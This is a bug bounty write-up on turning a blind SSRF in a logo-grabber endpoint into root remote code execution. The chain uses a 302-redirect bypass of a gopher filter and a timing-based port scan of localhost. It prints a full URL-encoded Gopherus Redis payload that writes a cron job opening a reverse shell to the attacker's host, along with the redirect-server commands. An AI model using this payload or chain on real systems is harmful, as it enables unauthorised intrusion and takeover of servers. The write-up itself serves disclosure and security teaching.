Just Gopher It: Escalating a Blind SSRF to RCE for $15k
Tags: Remote Code Execution, Gopher, Ssrf, Rce, Bug Bounty

Part 3: The RCE

About a month had gone by since my original report was triaged. I was excited that it was triaged, but knew the impact was low and I likely wouldn’t get much out of it.

The SSRF was still vulnerable and wasn’t fixed yet, so I decided to do some more research to try and escalate it further. During my research I learned that the Gopher protocol is an excellent way to escalate SSRFs, and in some cases can result in full remote code execution.

In order to test if the gopher protocol was supported I submitted a request similar to the following:

GET /xxx/logoGrabber?url=gopher://myburpcollaboratorurl

Host: site.example.com

...

Unfortunately the request immediately failed and resulted in a server error. No request was made to my Burp collaborator so it seemed as though the gopher protocol was not supported.

While continuing my testing, I read online that redirects can often be a great way to bypass certain SSRF protections, so I decided to test whether the server follows redirects.

To test if redirects worked,I set up a Python http server that 302 redirected all GET traffic to my Burp collaborator url —

python3 302redirect.py port “http://mycollaboratorurl/”

Then I submitted a request like the following in order to see if the redirect hit my collaborator:

GET /xxx/logoGrabber?url=http://my302redirectserver/

Host: site.example.com

...

After submitting the request I noticed that the redirect was followed, resulting in a hit to my Burp Collaborator url. So now I had verified that 302 redirects were followed…

Now that I had redirects working, I decided to test it with the gopher protocol. Originally submitting the gopher payload in the request directly resulted in a server error, so I set up my redirect server like the following to test if gopher would work via a redirect:

python3 302redirect.py port “gopher://mycollaboratorurl/”

Then again, submitted the request to my server —

GET /xxx/logoGrabber?url=http://my302redirectserver/

Host: site.example.com

...

To my surprise, it was successful — the redirect was followed and the I got a request to my collaborator url! There was some sort of filter against Gopher protocol urls, but if I redirect from my own server it bypasses this; The redirect is followed and the Gopher payload executes!

Not only did gopher payloads execute via 302 redirect, but I realized that with gopher I could also now hit internal IP addresses like 127.0.0.1 that were previously filtered.

Now that I had Gopher payloads working and could hit internal hosts, I had to figure out what services I could interact with in order to escalate. After doing some searching, I came across the tool Gopherus which generates gopher payloads for escalating SSRF. It contains payloads for the following services:

MySQL (Port-3306)

FastCGI (Port-9000)

Memcached (Port-11211)

Redis (Port-6379)

Zabbix (Port-10050)

SMTP (Port-25)

To determine if any of the above ports were open on 127.0.0.1, I used the SSRF and response times to port scan.

By 302 redirecting my web server to gopher://127.0.0.1:port , then submitting the request

GET /xxx/logoGrabber?url=http://my302redirectserver/

Host: site.example.com

...

I could identify open ports because the request’s response time would be long if a port was closed and short if a port was open. Using this port scanning method I checked all 6 of the above ports. One port seemed to be open — port 6379 (Redis)

302redirect → gopher://127.0.0.1:3306 [Response time: 3000ms]-CLOSED 302redirect → gopher://127.0.0.1:9000 [Response time: 2500ms]-CLOSED 302redirect → gopher://127.0.0.1:6379 [Response time: 500ms]-OPEN etc…

Now things started looking really good. It seemed like I had everything I need:

Gopher protocol accepted by 302 redirect

Able to hit localhost with gopher payloads

Identified a potentially vulnerable service running on localhost

Using Gopherus , I generated a Redis reverse shell payload which ended up looking like this:

gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2469%0D%0A%0A%0A%2A/1%20%2A%20%2A%20%2A%20%2A%20bash%20-c%20%22sh%20-i%20%3E%26%20/dev/tcp/x.x.x.x/1337%200%3E%261%22%0A%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2414%0D%0A/var/lib/redis%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

If this payload was successful it would result in a reverse shell to my netcat listener. I started my server to 302 redirect to the gopher payload like so:

python3 302redirect.py port " gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2469%0D%0A%0A%0A%2A/1%20%2A%20%2A%20%2A%20%2A%20bash%20-c%20%22sh%20-i%20%3E%26%20/dev/tcp/x.x.x.x/1337%200%3E%261%22%0A

%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2414%0D%0A/var/lib/redis%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A"

Once my web server was started, I also started a Netcat listener on port 1337 to catch any incoming reverse shell.

And then, finally the moment of truth. I submitted the request:

GET /xxx/logoGrabber?url=http://my302redirectserver/

Host: site.example.com

...

And…nothing. Nothing happened. I saw a request come to my redirect server, but no reverse shell coming back to my netcat. That was the end of it I thought, no RCE for me.

I figured maybe my port scan was false positive and that there was no Redis server running on the localhost.

I accepted defeat and starting closing everything down. I literally had my mouse on the X button on my terminal running netcat, milliseconds away from clicking to close it, when suddenly —

I really have no idea why it was so delayed but about 5 minutes after submitting the request, I received a reverse shell. I’m so glad I kept the listener on , otherwise I would’ve never known I got an RCE.

I ran whoami to verify I had RCE(and I was root!), then immediately disconnected and updated my original report with the new info.